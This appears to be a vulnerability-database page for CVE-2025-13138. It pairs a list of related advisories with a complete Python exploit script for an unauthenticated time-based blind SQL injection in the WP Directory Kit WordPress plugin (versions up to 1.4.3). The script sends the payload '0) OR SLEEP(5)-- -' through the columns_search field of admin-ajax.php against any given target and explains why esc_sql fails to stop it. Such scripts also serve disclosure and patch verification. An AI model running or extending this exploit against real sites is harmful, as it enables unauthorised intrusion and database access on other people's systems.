| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2025-13138 | 21 Nov 202511:42 | – | circl | |
| WordPress plugin WP Directory Kit SQL注入漏洞 | 21 Nov 202500:00 | – | cnnvd | |
| CVE-2025-13138 | 21 Nov 202509:26 | – | cve | |
| CVE-2025-13138 WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection via select_2_ajax() Function | 21 Nov 202509:26 | – | cvelist | |
| EUVD-2025-198434 | 21 Nov 202509:26 | – | euvd | |
| WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection | 6 Feb 202611:12 | – | nuclei | |
| CVE-2025-13138 | 21 Nov 202510:15 | – | nvd | |
| WordPress WP Directory Kit plugin <= 1.4.3 - Unauthenticated SQL Injection via select_2_ajax() Function vulnerability | 21 Nov 202521:24 | – | patchstack | |
| PT-2025-47716 | 21 Nov 202500:00 | – | ptsecurity | |
| CVE-2025-13138 | 22 Nov 202509:45 | – | redhatcve |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin WP Directory Kit <= 1.4.3 - Unauthenticated Time-Based Blind SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/wpdirectorykit/
# Software Link: https://downloads.wordpress.org/plugin/wpdirectorykit.1.4.3.zip
# Version: 1.4.3 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13138
r"""
WP Directory Kit <= 1.4.3 registers the nopriv AJAX action wdk_public_action
(includes/class-wpdirectorykit.php:262); ajax_public() dispatches to the frontend controller with no
cap/nonce. The select_2_ajax handler takes the attacker-supplied `columns_search` and, when provided,
uses it verbatim as the search column list; each column is passed through esc_sql() and placed as an
UNQUOTED identifier (application/controllers/Wdk_frontendajax.php:66):
$sql_search .= " ".esc_sql($column)." LIKE '%".esc_sql($_POST['q']['term'])."%'";
$where["($sql_search)"] = NULL;
esc_sql only escapes quotes, which are unnecessary in the unquoted-identifier position, so
`columns_search=0) OR SLEEP(5)-- -` injects raw SQL -> the WHERE becomes `(0) OR SLEEP(5)`.
Payload: 0) OR SLEEP(5)-- - (context: unquoted; no quote/%2527 needed)
Prior state: at least one row in the queried table (wp_wdk_categories) so the WHERE is evaluated —
on a real directory site there are always categories.
"""
import argparse, sys, time
import requests
requests.packages.urllib3.disable_warnings()
def probe(base, seconds):
d = {"action": "wdk_public_action", "page": "wdk_frontendajax", "function": "select_2_ajax",
"table": "category_m", "columns_search": "0) OR SLEEP(%d)-- -" % seconds, "q[term]": "x"}
t = time.time()
requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=90)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
t0 = probe(base, 0)
t5 = probe(base, args.sleep)
print(f"[*] Target: {base}")
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP delayed the "
f"response by {t5 - t0:.2f}s (columns_search param).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation